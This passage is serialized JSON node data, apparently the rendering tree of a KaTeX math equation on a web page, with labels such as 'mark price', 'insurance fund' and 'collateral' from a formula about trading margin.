paper:",{"type":23,"tag":64,"props":171223,"children":171224},{},[171225],{"type":23,"tag":71,"props":171226,"children":171228},{"className":171227},[15256,169409],[171229],{"type":23,"tag":75,"props":171230,"children":171232},{"className":171231},[169414],[171233],{"type":23,"tag":75,"props":171234,"children":171236},{"className":171235},[15262],[171237],{"type":23,"tag":75,"props":171238,"children":171240},{"className":171239,"ariaHidden":15268},[15267],[171241],{"type":23,"tag":75,"props":171242,"children":171244},{"className":171243},[15273],[171245,171250],{"type":23,"tag":75,"props":171246,"children":171249},{"className":171247,"style":171248},[15278],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":23,"tag":75,"props":171251,"children":171253},{"className":171252},[15284],[171254],{"type":23,"tag":75,"props":171255,"children":171257},{"className":171256},[170111],[171258,172077],{"type":23,"tag":75,"props":171259,"children":171261},{"className":171260},[170116],[171262],{"type":23,"tag":75,"props":171263,"children":171265},{"className":171264},[15304,32857],[171266,172065],{"type":23,"tag":75,"props":171267,"children":171269},{"className":171268},[15309],[171270,172060],{"type":23,"tag":75,"props":171271,"children":171274},{"className":171272,"style":171273},[15314],"height:11.8392em;",[171275,171346,171363,171432,171502,171571,171641,171710,171779,171848,171918,171989],{"type":23,"tag":75,"props":171276,"children":171278},{"style":171277},"top:-14.3707em;",[171279,171284],{"type":23,"tag":75,"props":171280,"children":171283},{"className":171281,"style":171282},[15323],"height:3.3714em;",[],{"type":23,"tag":75,"props":171285,"children":171287},{"className":171286},[15284],[171288],{"type":23,"tag":75,"props":171289,"children":171291},{"className":171290},[15284],[171292,171297],{"type":23,"tag":75,"props":171293,"children":171295},{"className":171294,"style":32804},[15284,32803],[171296],{"type":29,"value":32807},{"type":23,"tag":75,"props":171298,"children":171300},{"className":171299},[15299],[171301],{"type":23,"tag":75,"props":171302,"children":171304},{"className":171303},[15304,32857],[171305,171335],{"type":23,"tag":75,"props":171306,"children":171308},{"className":171307},[15309],[171309,171330],{"type":23,"tag":75,"props":171310,"children":171312},{"className":171311,"style":119814},[15314],[171313],{"type":23,"tag":75,"props":171314,"children":171316},{"style":171315},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[171317,171321],{"type":23,"tag":75,"props":171318,"children":171320},{"className":171319,"style":15324},[15323],[],{"type":23,"tag":75,"props":171322,"children":171324},{"className":171323},[15329,15330,15331,15332],[171325],{"type":23,"tag":75,"props":171326,"children":171328},{"className":171327},[15284,32803,15332],[171329],{"type":29,"value":67587},{"type":23,"tag":75,"props":171331,"children":171333},{"className":171332},[32960],[171334],{"type":29,"value":32963},{"type":23,"tag":75,"props":171336,"children":171338},{"className":171337},[15309],[171339],{"type":23,"tag":75,"props":171340,"children":171342},{"className":171341,"style":103465},[15314],[171343],{"type":23,"tag":75,"props":171344,"children":171345},{},[],{"type":23,"tag":75,"props":171347,"children":171349},{"style":171348},"top:-12.8707em;",[171350,171354],{"type":23,"tag":75,"props":171351,"children":171353},{"className":171352,"style":171282},[15323],[],{"type":23,"tag":75,"props":171355,"children":171357},{"className":171356},[15284],[171358],{"type":23,"tag":75,"props":171359,"children":171361},{"className":171360,"style":105402},[15284,32803],[171362],{"type":29,"value":105436},{"type":23,"tag":75,"props":171364,"children":171366},{"style":171365},"top:-10.8392em;",[171367,171371],{"type":23,"tag":75,"props":171368,"children":171370},{"className":171369,"style":171282},[15323],[],{"type":23,"tag":75,"props":171372,"children":171374},{"className":171373},[15284],[171375],{"type":23,"tag":75,"props":171376,"children":171378},{"className":171377},[15284],[171379,171384],{"type":23,"tag":75,"props":171380,"children":171382},{"className":171381},[15284,32803],[171383],{"type":29,"value":14432},{"type":23,"tag":75,"props":171385,"children":171387},{"className":171386},[15299],[171388],{"type":23,"tag":75,"props":171389,"children":171391},{"className":171390},[15304,32857],[171392,171421],{"type":23,"tag":75,"props":171393,"children":171395},{"className":171394},[15309],[171396,171416],{"type":23,"tag":75,"props":171397,"children":171399},{"className":171398,"style":103911},[15314],[171400],{"type":23,"tag":75,"props":171401,"children":171402},{"style":103438},[171403,171407],{"type":23,"tag":75,"props":171404,"children":171406},{"className":171405,"style":15324},[15323],[],{"type":23,"tag":75,"props":171408,"children":171410},{"className":171409},[15329,15330,15331,15332],[171411],{"type":23,"tag":75,"props":171412,"children":171414},{"className":171413},[15284,32803,15332],[171415],{"type":29,"value":12935},{"type":23,"tag":75,"props":171417,"children":171419},{"className":171418},[32960],[171420],{"type":29,"value":32963},{"type":23,"tag":75,"props":171422,"children":171424},{"className":171423},[15309],[171425],{"type":23,"tag":75,"props":171426,"children":171428},{"className":171427,"style":103465},[15314],[171429],{"type":23,"tag":75,"props":171430,"children":171431},{},[],{"type":23,"tag":75,"props":171433,"children":171435},{"style":171434},"top:-8.8188em;",[171436,171440],{"type":23,"tag":75,"props":171437,"children":171439},{"className":171438,"style":171282},[15323],[],{"type":23,"tag":75,"props":171441,"children":171443},{"className":171442},[15284],[171444],{"type":23,"tag":75,"props":171445,"children":171447},{"className":171446},[15284],[171448,171454],{"type":23,"tag":75,"props":171449,"children":171451},{"className":171450,"style":103868},[15284,32803],[171452],{"type":29,"value":171453},"π",{"type":23,"tag":75,"props":171455,"children":171457},{"className":171456},[15299],[171458],{"type":23,"tag":75,"props":171459,"children":171461},{"className":171460},[15304,32857],[171462,171491],{"type":23,"tag":75,"props":171463,"children":171465},{"className":171464},[15309],[171466,171486],{"type":23,"tag":75,"props":171467,"children":171469},{"className":171468,"style":103911},[15314],[171470],{"type":23,"tag":75,"props":171471,"children":171472},{"style":103915},[171473,171477],{"type":23,"tag":75,"props":171474,"children":171476},{"className":171475,"style":15324},[15323],[],{"type":23,"tag":75,"props":171478,"children":171480},{"className":171479},[15329,15330,15331,15332],[171481],{"type":23,"tag":75,"props":171482,"children":171484},{"className":171483},[15284,32803,15332],[171485],{"type":29,"value":12935},{"type":23,"tag":75,"props":171487,"children":171489},{"className":171488},[32960],[171490],{"type":29,"value":32963},{"type":23,"tag":75,"props":171492,"children":171494},{"className":171493},[15309],[171495],{"type":23,"tag":75,"props":171496,"children":171498},{"className":171497,"style":103465},[15314],[171499],{"type":23,"tag":75,"props":171500,"children":171501},{},[],{"type":23,"tag":75,"props":171503,"children":171505},{"style":171504},"top:-7.3188em;",[171506,171510],{"type":23,"tag":75,"props":171507,"children":171509},{"className":171508,"style":171282},[15323],[],{"type":23,"tag":75,"props":171511,"children":171513},{"className":171512},[15284],[171514],{"type":23,"tag":75,"props":171515,"children":171517},{"className":171516},[15284],[171518,171523],{"type":23,"tag":75,"props":171519,"children":171521},{"className":171520},[15284,32803],[171522],{"type":29,"value":62639},{"type":23,"tag":75,"props":171524,"children":171526},{"className":171525},[15299],[171527],{"type":23,"tag":75,"props":171528,"children":171530},{"className":171529},[15304,32857],[171531,171560],{"type":23,"tag":75,"props":171532,"children":171534},{"className":171533},[15309],[171535,171555],{"type":23,"tag":75,"props":171536,"children":171538},{"className":171537,"style":103911},[15314],[171539],{"type":23,"tag":75,"props":171540,"children":171541},{"style":103438},[171542,171546],{"type":23,"tag":75,"props":171543,"children":171545},{"className":171544,"style":15324},[15323],[],{"type":23,"tag":75,"props":171547,"children":171549},{"className":171548},[15329,15330,15331,15332],[171550],{"type":23,"tag":75,"props":171551,"children":171553},{"className":171552},[15284,32803,15332],[171554],{"type":29,"value":12935},{"type":23,"tag":75,"props":171556,"children":171558},{"className":171557},[32960],[171559],{"type":29,"value":32963},{"type":23,"tag":75,"props":171561,"children":171563},{"className":171562},[15309],[171564],{"type":23,"tag":75,"props":171565,"children":171567},{"className":171566,"style":103465},[15314],[171568],{"type":23,"tag":75,"props":171569,"children":171570},{},[],{"type":23,"tag":75,"props":171572,"children":171574},{"style":171573},"top:-5.8188em;",[171575,171579],{"type":23,"tag":75,"props":171576,"children":171578},{"className":171577,"style":171282},[15323],[],{"type":23,"tag":75,"props":171580,"children":171582},{"className":171581},[15284],[171583],{"type":23,"tag":75,"props":171584,"children":171586},{"className":171585},[15284],[171587,171592],{"type":23,"tag":75,"props":171588,"children":171590},{"className":171589,"style":132662},[15284,32803],[171591],{"type":29,"value":60758},{"type":23,"tag":75,"props":171593,"children":171595},{"className":171594},[15299],[171596],{"type":23,"tag":75,"props":171597,"children":171599},{"className":171598},[15304,32857],[171600,171630],{"type":23,"tag":75,"props":171601,"children":171603},{"className":171602},[15309],[171604,171625],{"type":23,"tag":75,"props":171605,"children":171607},{"className":171606,"style":103911},[15314],[171608],{"type":23,"tag":75,"props":171609,"children":171611},{"style":171610},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[171612,171616],{"type":23,"tag":75,"props":171613,"children":171615},{"className":171614,"style":15324},[15323],[],{"type":23,"tag":75,"props":171617,"children":171619},{"className":171618},[15329,15330,15331,15332],[171620],{"type":23,"tag":75,"props":171621,"children":171623},{"className":171622},[15284,32803,15332],[171624],{"type":29,"value":12935},{"type":23,"tag":75,"props":171626,"children":171628},{"className":171627},[32960],[171629],{"type":29,"value":32963},{"type":23,"tag":75,"props":171631,"children":171633},{"className":171632},[15309],[171634],{"type":23,"tag":75,"props":171635,"children":171637},{"className":171636,"style":103465},[15314],[171638],{"type":23,"tag":75,"props":171639,"children":171640},{},[],{"type":23,"tag":75,"props":171642,"children":171644},{"style":171643},"top:-4.3188em;",[171645,171649],{"type":23,"tag":75,"props":171646,"children":171648},{"className":171647,"style":171282},[15323],[],{"type":23,"tag":75,"props":171650,"children":171652},{"className":171651},[15284],[171653],{"type":23,"tag":75,"props":171654,"children":171656},{"className":171655},[15284],[171657,171662],{"type":23,"tag":75,"props":171658,"children":171660},{"className":171659},[15284,32803],[171661],{"type":29,"value":30499},{"type":23,"tag":75,"props":171663,"children":171665},{"className":171664},[15299],[171666],{"type":23,"tag":75,"props":171667,"children":171669},{"className":171668},[15304,32857],[171670,171699],{"type":23,"tag":75,"props":171671,"children":171673},{"className":171672},[15309],[171674,171694],{"type":23,"tag":75,"props":171675,"children":171677},{"className":171676,"style":103911},[15314],[171678],{"type":23,"tag":75,"props":171679,"children":171680},{"style":103438},[171681,171685],{"type":23,"tag":75,"props":171682,"children":171684},{"className":171683,"style":15324},[15323],[],{"type":23,"tag":75,"props":171686,"children":171688},{"className":171687},[15329,15330,15331,15332],[171689],{"type":23,"tag":75,"props":171690,"children":171692},{"className":171691},[15284,32803,15332],[171693],{"type":29,"value":12935},{"type":23,"tag":75,"props":171695,"children":171697},{"className":171696},[32960],[171698],{"type":29,"value":32963},{"type":23,"tag":75,"props":171700,"children":171702},{"className":171701},[15309],[171703],{"type":23,"tag":75,"props":171704,"children":171706},{"className":171705,"style":103465},[15314],[171707],{"type":23,"tag":75,"props":171708,"children":171709},{},[],{"type":23,"tag":75,"props":171711,"children":171713},{"style":171712},"top:-2.5512em;",[171714,171718],{"type":23,"tag":75,"props":171715,"children":171717},{"className":171716,"style":171282},[15323],[],{"type":23,"tag":75,"props":171719,"children":171721},{"className":171720},[15284],[171722],{"type":23,"tag":75,"props":171723,"children":171725},{"className":171724},[15284],[171726,171731],{"type":23,"tag":75,"props":171727,"children":171729},{"className":171728},[15284,32803],[171730],{"type":29,"value":8730},{"type":23,"tag":75,"props":171732,"children":171734},{"className":171733},[15299],[171735],{"type":23,"tag":75,"props":171736,"children":171738},{"className":171737},[15304,32857],[171739,171768],{"type":23,"tag":75,"props":171740,"children":171742},{"className":171741},[15309],[171743,171763],{"type":23,"tag":75,"props":171744,"children":171746},{"className":171745,"style":103911},[15314],[171747],{"type":23,"tag":75,"props":171748,"children":171749},{"style":103438},[171750,171754],{"type":23,"tag":75,"props":171751,"children":171753},{"className":171752,"style":15324},[15323],[],{"type":23,"tag":75,"props":171755,"children":171757},{"className":171756},[15329,15330,15331,15332],[171758],{"type":23,"tag":75,"props":171759,"children":171761},{"className":171760},[15284,32803,15332],[171762],{"type":29,"value":12935},{"type":23,"tag":75,"props":171764,"children":171766},{"className":171765},[32960],[171767],{"type":29,"value":32963},{"type":23,"tag":75,"props":171769,"children":171771},{"className":171770},[15309],[171772],{"type":23,"tag":75,"props":171773,"children":171775},{"className":171774,"style":103465},[15314],[171776],{"type":23,"tag":75,"props":171777,"children":171778},{},[],{"type":23,"tag":75,"props":171780,"children":171782},{"style":171781},"top:-0.3652em;",[171783,171787],{"type":23,"tag":75,"props":171784,"children":171786},{"className":171785,"style":171282},[15323],[],{"type":23,"tag":75,"props":171788,"children":171790},{"className":171789},[15284],[171791],{"type":23,"tag":75,"props":171792,"children":171794},{"className":171793},[15284],[171795,171800],{"type":23,"tag":75,"props":171796,"children":171798},{"className":171797,"style":103616},[15284,32803],[171799],{"type":29,"value":103619},{"type":23,"tag":75,"props":171801,"children":171803},{"className":171802},[15299],[171804],{"type":23,"tag":75,"props":171805,"children":171807},{"className":171806},[15304,32857],[171808,171837],{"type":23,"tag":75,"props":171809,"children":171811},{"className":171810},[15309],[171812,171832],{"type":23,"tag":75,"props":171813,"children":171815},{"className":171814,"style":152937},[15314],[171816],{"type":23,"tag":75,"props":171817,"children":171818},{"style":120811},[171819,171823],{"type":23,"tag":75,"props":171820,"children":171822},{"className":171821,"style":15324},[15323],[],{"type":23,"tag":75,"props":171824,"children":171826},{"className":171825},[15329,15330,15331,15332],[171827],{"type":23,"tag":75,"props":171828,"children":171830},{"className":171829,"style":32804},[15284,32803,15332],[171831],{"type":29,"value":17255},{"type":23,"tag":75,"props":171833,"children":171835},{"className":171834},[32960],[171836],{"type":29,"value":32963},{"type":23,"tag":75,"props":171838,"children":171840},{"className":171839},[15309],[171841],{"type":23,"tag":75,"props":171842,"children":171844},{"className":171843,"style":103465},[15314],[171845],{"type":23,"tag":75,"props":171846,"children":171847},{},[],{"type":23,"tag":75,"props":171849,"children":171851},{"style":171850},"top:2.2624em;",[171852,171856],{"type":23,"tag":75,"props":171853,"children":171855},{"className":171854,"style":171282},[15323],[],{"type":23,"tag":75,"props":171857,"children":171859},{"className":171858},[15284],[171860],{"type":23,"tag":75,"props":171861,"children":171863},{"className":171862},[15284],[171864,171870],{"type":23,"tag":75,"props":171865,"children":171867},{"className":171866,"style":103382},[15284,32803],[171868],{"type":29,"value":171869},"D",{"type":23,"tag":75,"props":171871,"children":171873},{"className":171872},[15299],[171874],{"type":23,"tag":75,"props":171875,"children":171877},{"className":171876},[15304,32857],[171878,171907],{"type":23,"tag":75,"props":171879,"children":171881},{"className":171880},[15309],[171882,171902],{"type":23,"tag":75,"props":171883,"children":171885},{"className":171884,"style":152937},[15314],[171886],{"type":23,"tag":75,"props":171887,"children":171888},{"style":120381},[171889,171893],{"type":23,"tag":75,"props":171890,"children":171892},{"className":171891,"style":15324},[15323],[],{"type":23,"tag":75,"props":171894,"children":171896},{"className":171895},[15329,15330,15331,15332],[171897],{"type":23,"tag":75,"props":171898,"children":171900},{"className":171899,"style":32804},[15284,32803,15332],[171901],{"type":29,"value":17255},{"type":23,"tag":75,"props":171903,"children":171905},{"className":171904},[32960],[171906],{"type":29,"value":32963},{"type":23,"tag":75,"props":171908,"children":171910},{"className":171909},[15309],[171911],{"type":23,"tag":75,"props":171912,"children":171914},{"className":171913,"style":103465},[15314],[171915],{"type":23,"tag":75,"props":171916,"children":171917},{},[],{"type":23,"tag":75,"props":171919,"children":171921},{"style":171920},"top:4.8901em;",[171922,171926],{"type":23,"tag":75,"props":171923,"children":171925},{"className":171924,"style":171282},[15323],[],{"type":23,"tag":75,"props":171927,"children":171929},{"className":171928},[15284],[171930],{"type":23,"tag":75,"props":171931,"children":171933},{"className":171932},[15284],[171934,171940],{"type":23,"tag":75,"props":171935,"children":171937},{"className":171936,"style":105390},[15284,32803],[171938],{"type":29,"value":171939},"U",{"type":23,"tag":75,"props":171941,"children":171943},{"className":171942},[15299],[171944],{"type":23,"tag":75,"props":171945,"children":171947},{"className":171946},[15304,32857],[171948,171978],{"type":23,"tag":75,"props":171949,"children":171951},{"className":171950},[15309],[171952,171973],{"type":23,"tag":75,"props":171953,"children":171955},{"className":171954,"style":152937},[15314],[171956],{"type":23,"tag":75,"props":171957,"children":171959},{"style":171958},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[171960,171964],{"type":23,"tag":75,"props":171961,"children":171963},{"className":171962,"style":15324},[15323],[],{"type":23,"tag":75,"props":171965,"children":171967},{"className":171966},[15329,15330,15331,15332],[171968],{"type":23,"tag":75,"props":171969,"children":171971},{"className":171970,"style":32804},[15284,32803,15332],[171972],{"type":29,"value":17255},{"type":23,"tag":75,"props":171974,"children":171976},{"className":171975},[32960],[171977],{"type":29,"value":32963},{"type":23,"tag":75,"props":171979,"children":171981},{"className":171980},[15309],[171982],{"type":23,"tag":75,"props":171983,"children":171985},{"className":171984,"style":103465},[15314],[171986],{"type":23,"tag":75,"props":171987,"children":171988},{},[],{"type":23,"tag":75,"props":171990,"children":171992},{"style":171991},"top:7.3078em;",[171993,171997],{"type":23,"tag":75,"props":171994,"children":171996},{"className":171995,"style":171282},[15323],[],{"type":23,"tag":75,"props":171998,"children":172000},{"className":171999},[15284],[172001],{"type":23,"tag":75,"props":172002,"children":172004},{"className":172003},[15284],[172005,172010],{"type":23,"tag":75,"props":172006,"children":172008},{"className":172007,"style":133159},[15284,32803],[172009],{"type":29,"value":133162},{"type":23,"tag":75,"props":172011,"children":172013},{"className":172012},[15299],[172014],{"type":23,"tag":75,"props":172015,"children":172017},{"className":172016},[15304,32857],[172018,172049],{"type":23,"tag":75,"props":172019,"children":172021},{"className":172020},[15309],[172022,172044],{"type":23,"tag":75,"props":172023,"children":172026},{"className":172024,"style":172025},[15314],"height:0.2806em;",[172027],{"type":23,"tag":75,"props":172028,"children":172030},{"style":172029},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[172031,172035],{"type":23,"tag":75,"props":172032,"children":172034},{"className":172033,"style":15324},[15323],[],{"type":23,"tag":75,"props":172036,"children":172038},{"className":172037},[15329,15330,15331,15332],[172039],{"type":23,"tag":75,"props":172040,"children":172042},{"className":172041},[15284,32803,15332],[172043],{"type":29,"value":32945},{"type":23,"tag":75,"props":172045,"children":172047},{"className":172046},[32960],[172048],{"type":29,"value":32963},{"type":23,"tag":75,"props":172050,"children":172052},{"className":172051},[15309],[172053],{"type":23,"tag":75,"props":172054,"children":172056},{"className":172055,"style":103465},[15314],[172057],{"type":23,"tag":75,"props":172058,"children":172059},{},[],{"type":23,"tag":75,"props":172061,"children":172063},{"className":172062},[32960],[172064],{"type":29,"value":32963},{"type":23,"tag":75,"props":172066,"children":172068},{"className":172067},[15309],[172069],{"type":23,"tag":75,"props":172070,"children":172073},{"className":172071,"style":172072},[15314],"height:11.3392em;",[172074],{"type":23,"tag":75,"props":172075,"children":172076},{},[],{"type":23,"tag":75,"props":172078,"children":172080},{"className":172079},[170196],[172081],{"type":23,"tag":75,"props":172082,"children":172084},{"className":172083},[15304,32857],[172085,173787],{"type":23,"tag":75,"props":172086,"children":172088},{"className":172087},[15309],[172089,173782],{"type":23,"tag":75,"props":172090,"children":172092},{"className":172091,"style":171273},[15314],[172093,172131,172169,172316,172551,172706,172811,172854,173075,173234,173424,173576],{"type":23,"tag":75,"props":172094,"children":172095},{"style":171277},[172096,172100],{"type":23,"tag":75,"props":172097,"children":172099},{"className":172098,"style":171282},[15323],[],{"type":23,"tag":75,"props":172101,"children":172103},{"className":172102},[15284],[172104,172108,172112,172117,172121],{"type":23,"tag":75,"props":172105,"children":172107},{"className":172106},[15284],[],{"type":23,"tag":75,"props":172109,"children":172111},{"className":172110,"style":15461},[15363],[],{"type":23,"tag":75,"props":172113,"children":172115},{"className":172114},[15466],[172116],{"type":29,"value":32822},{"type":23,"tag":75,"props":172118,"children":172120},{"className":172119,"style":15461},[15363],[],{"type":23,"tag":75,"props":172122,"children":172124},{"className":172123},[15284,29],[172125],{"type":23,"tag":75,"props":172126,"children":172128},{"className":172127},[15284],[172129],{"type":29,"value":172130},"mark price",{"type":23,"tag":75,"props":172132,"children":172133},{"style":171348},[172134,172138],{"type":23,"tag":75,"props":172135,"children":172137},{"className":172136,"style":171282},[15323],[],{"type":23,"tag":75,"props":172139,"children":172141},{"className":172140},[15284],[172142,172146,172150,172155,172159],{"type":23,"tag":75,"props":172143,"children":172145},{"className":172144},[15284],[],{"type":23,"tag":75,"props":172147,"children":172149},{"className":172148,"style":15461},[15363],[],{"type":23,"tag":75,"props":172151,"children":172153},{"className":172152},[15466],[172154],{"type":29,"value":32822},{"type":23,"tag":75,"props":172156,"children":172158},{"className":172157,"style":15461},[15363],[],{"type":23,"tag":75,"props":172160,"children":172162},{"className":172161},[15284,29],[172163],{"type":23,"tag":75,"props":172164,"children":172166},{"className":172165},[15284],[172167],{"type":29,"value":172168},"insurance fund",{"type":23,"tag":75,"props":172170,"children":172171},{"style":171365},[172172,172176],{"type":23,"tag":75,"props":172173,"children":172175},{"className":172174,"style":171282},[15323],[],{"type":23,"tag":75,"props":172177,"children":172179},{"className":172178},[15284],[172180,172184,172188,172193,172197,172207,172211,172216,172220],{"type":23,"tag":75,"props":172181,"children":172183},{"className":172182},[15284],[],{"type":23,"tag":75,"props":172185,"children":172187},{"className":172186,"style":15461},[15363],[],{"type":23,"tag":75,"props":172189,"children":172191},{"className":172190},[15466],[172192],{"type":29,"value":32822},{"type":23,"tag":75,"props":172194,"children":172196},{"className":172195,"style":15461},[15363],[],{"type":23,"tag":75,"props":172198,"children":172200},{"className":172199},[15284,29],[172201],{"type":23,"tag":75,"props":172202,"children":172204},{"className":172203},[15284],[172205],{"type":29,"value":172206},"collateral",{"type":23,"tag":75,"props":172208,"children":172210},{"className":172209,"style":15461},[15363],[],{"type":23,"tag":75,"props":172212,"children":172214},{"className":172213},[15466],[172215],{"type":29,"value":212},{"type":23,"tag":75,"props":172217,"children":172219},{"className":172218,"style":15461},[15363],[],{"type":23,"tag":75,"props":172221,"children":172223},{"className":172222},[15284],[172224,172228,172312],{"type":23,"tag":75,"props":172225,"children":172227},{"className":172226},[32932,123900],[],{"type":23,"tag":75,"props":172229,"children":172231},{"className":172230},[123905],[172232],{"type":23,"tag":75,"props":172233,"children":172235},{"className":172234},[15304,32857],[172236,172301],{"type":23,"tag":75,"props":172237,"children":172239},{"className":172238},[15309],[172240,172296],{"type":23,"tag":75,"props":172241,"children":172244},{"className":172242,"style":172243},[15314],"height:1.3714em;",[172245,172265,172276],{"type":23,"tag":75,"props":172246,"children":172247},{"style":169491},[172248,172252],{"type":23,"tag":75,"props":172249,"children":172251},{"className":172250,"style":122553},[15323],[],{"type":23,"tag":75,"props":172253,"children":172255},{"className":172254},[15284],[172256],{"type":23,"tag":75,"props":172257,"children":172259},{"className":172258},[15284,29],[172260],{"type":23,"tag":75,"props":172261,"children":172263},{"className":172262},[15284],[172264],{"type":29,"value":169528},{"type":23,"tag":75,"props":172266,"children":172267},{"style":123955},[172268,172272],{"type":23,"tag":75,"props":172269,"children":172271},{"className":172270,"style":122553},[15323],[],{"type":23,"tag":75,"props":172273,"children":172275},{"className":172274,"style":123965},[123964],[],{"type":23,"tag":75,"props":172277,"children":172278},{"style":169542},[172279,172283],{"type":23,"tag":75,"props":172280,"children":172282},{"className":172281,"style":122553},[15323],[],{"type":23,"tag":75,"props":172284,"children":172286},{"className":172285},[15284],[172287],{"type":23,"tag":75,"props":172288,"children":172290},{"className":172289},[15284,29],[172291],{"type":23,"tag":75,"props":172292,"children":172294},{"className":172293},[15284],[172295],{"type":29,"value":169567},{"type":23,"tag":75,"props":172297,"children":172299},{"className":172298},[32960],[172300],{"type":29,"value":32963},{"type":23,"tag":75,"props":172302,"children":172304},{"className":172303},[15309],[172305],{"type":23,"tag":75,"props":172306,"children":172308},{"className":172307,"style":169585},[15314],[172309],{"type":23,"tag":75,"props":172310,"children":172311},{},[],{"type":23,"tag":75,"props":172313,"children":172315},{"className":172314},[32954,123900],[],{"type":23,"tag":75,"props":172317,"children":172318},{"style":171434},[172319,172323],{"type":23,"tag":75,"props":172320,"children":172322},{"className":172321,"style":171282},[15323],[],{"type":23,"tag":75,"props":172324,"children":172326},{"className":172325},[15284],[172327,172331,172335,172340,172344,172401,172405,172410,172414,172419,172476,172480,172485,172489,172546],{"type":23,"tag":75,"props":172328,"children":172330},{"className":172329},[15284],[],{"type":23,"tag":75,"props":172332,"children":172334},{"className":172333,"style":15461},[15363],[],{"type":23,"tag":75,"props":172336,"children":172338},{"className":172337},[15466],[172339],{"type":29,"value":212},{"type":23,"tag":75,"props":172341,"children":172343},{"className":172342,"style":15461},[15363],[],{"type":23,"tag":75,"props":172345,"children":172347},{"className":172346},[15284],[172348,172353],{"type":23,"tag":75,"props":172349,"children":172351},{"className":172350},[15284,32803],[172352],{"type":29,"value":21899},{"type":23,"tag":75,"props":172354,"children":172356},{"className":172355},[15299],[172357],{"type":23,"tag":75,"props":172358,"children":172360},{"className":172359},[15304,32857],[172361,172390],{"type":23,"tag":75,"props":172362,"children":172364},{"className":172363},[15309],[172365,172385],{"type":23,"tag":75,"props":172366,"children":172368},{"className":172367,"style":103911},[15314],[172369],{"type":23,"tag":75,"props":172370,"children":172371},{"style":103438},[172372,172376],{"type":23,"tag":75,"props":172373,"children":172375},{"className":172374,"style":15324},[15323],[],{"type":23,"tag":75,"props":172377,"children":172379},{"className":172378},[15329,15330,15331,15332],[172380],{"type":23,"tag":75,"props":172381,"children":172383},{"className":172382},[15284,32803,15332],[172384],{"type":29,"value":12935},{"type":23,"tag":75,"props":172386,"children":172388},{"className":172387},[32960],[172389],{"type":29,"value":32963},{"type":23,"tag":75,"props":172391,"children":172393},{"className":172392},[15309],[172394],{"type":23,"tag":75,"props":172395,"children":172397},{"className":172396,"style":103465},[15314],[172398],{"type":23,"tag":75,"props":172399,"children":172400},{},[],{"type":23,"tag":75,"props":172402,"children":172404},{"className":172403,"style":15364},[15363],[],{"type":23,"tag":75,"props":172406,"children":172408},{"className":172407},[15369],[172409],{"type":29,"value":121644},{"type":23,"tag":75,"props":172411,"children":172413},{"className":172412,"style":15364},[15363],[],{"type":23,"tag":75,"props":172415,"children":172417},{"className":172416},[32932],[172418],{"type":29,"value":643},{"type":23,"tag":75,"props":172420,"children":172422},{"className":172421},[15284],[172423,172428],{"type":23,"tag":75,"props":172424,"children":172426},{"className":172425,"style":32804},[15284,32803],[172427],{"type":29,"value":32807},{"type":23,"tag":75,"props":172429,"children":172431},{"className":172430},[15299],[172432],{"type":23,"tag":75,"props":172433,"children":172435},{"className":172434},[15304,32857],[172436,172465],{"type":23,"tag":75,"props":172437,"children":172439},{"className":172438},[15309],[172440,172460],{"type":23,"tag":75,"props":172441,"children":172443},{"className":172442,"style":119814},[15314],[172444],{"type":23,"tag":75,"props":172445,"children":172446},{"style":171315},[172447,172451],{"type":23,"tag":75,"props":172448,"children":172450},{"className":172449,"style":15324},[15323],[],{"type":23,"tag":75,"props":172452,"children":172454},{"className":172453},[15329,15330,15331,15332],[172455],{"type":23,"tag":75,"props":172456,"children":172458},{"className":172457},[15284,32803,15332],[172459],{"type":29,"value":67587},{"type":23,"tag":75,"props":172461,"children":172463},{"className":172462},[32960],[172464],{"type":29,"value":32963},{"type":23,"tag":75,"props":172466,"children":172468},{"className":172467},[15309],[172469],{"type":23,"tag":75,"props":172470,"children":172472},{"className":172471,"style":103465},[15314],[172473],{"type":23,"tag":75,"props":172474,"children":172475},{},[],{"type":23,"tag":75,"props":172477,"children":172479},{"className":172478,"style":15364},[15363],[],{"type":23,"tag":75,"props":172481,"children":172483},{"className":172482},[15369],[172484],{"type":29,"value":15343},{"type":23,"tag":75,"props":172486,"children":172488},{"className":172487,"style":15364},[15363],[],{"type":23,"tag":75,"props":172490,"children":172492},{"className":172491},[15284],[172493,172498],{"type":23,"tag":75,"props":172494,"children":172496},{"className":172495},[15284,32803],[172497],{"type":29,"value":32},{"type":23,"tag":75,"props":172499,"children":172501},{"className":172500},[15299],[172502],{"type":23,"tag":75,"props":172503,"children":172505},{"className":172504},[15304,32857],[172506,172535],{"type":23,"tag":75,"props":172507,"children":172509},{"className":172508},[15309],[172510,172530],{"type":23,"tag":75,"props":172511,"children":172513},{"className":172512,"style":103911},[15314],[172514],{"type":23,"tag":75,"props":172515,"children":172516},{"style":103438},[172517,172521],{"type":23,"tag":75,"props":172518,"children":172520},{"className":172519,"style":15324},[15323],[],{"type":23,"tag":75,"props":172522,"children":172524},{"className":172523},[15329,15330,15331,15332],[172525],{"type":23,"tag":75,"props":172526,"children":172528},{"className":172527},[15284,32803,15332],[172529],{"type":29,"value":12935},{"type":23,"tag":75,"props":172531,"children":172533},{"className":172532},[32960],[172534],{"type":29,"value":32963},{"type":23,"tag":75,"props":172536,"children":172538},{"className":172537},[15309],[172539],{"type":23,"tag":75,"props":172540,"children":172542},{"className":172541,"style":103465},[15314],[172543],{"type":23,"tag":75,"props":172544,"children":172545},{},[],{"type":23,"tag":75,"props":172547,"children":172549},{"className":172548},[32954],[172550],{"type":29,"value":1347},{"type":23,"tag":75,"props":172552,"children":172553},{"style":171504},[172554,172558],{"type":23,"tag":75,"props":172555,"children":172557},{"className":172556,"style":171282},[15323],[],{"type":23,"tag":75,"props":172559,"children":172561},{"className":172560},[15284],[172562,172566,172570,172575,172579,172636,172640,172645,172649],{"type":23,"tag":75,"props":172563,"children":172565},{"className":172564},[15284],[],{"type":23,"tag":75,"props":172567,"children":172569},{"className":172568,"style":15461},[15363],[],{"type":23,"tag":75,"props":172571,"children":172573},{"className":172572},[15466],[172574],{"type":29,"value":212},{"type":23,"tag":75,"props":172576,"children":172578},{"className":172577,"style":15461},[15363],[],{"type":23,"tag":75,"props":172580,"children":172582},{"className":172581},[15284],[172583,172588],{"type":23,"tag":75,"props":172584,"children":172586},{"className":172585},[15284,32803],[172587],{"type":29,"value":14432},{"type":23,"tag":75,"props":172589,"children":172591},{"className":172590},[15299],[17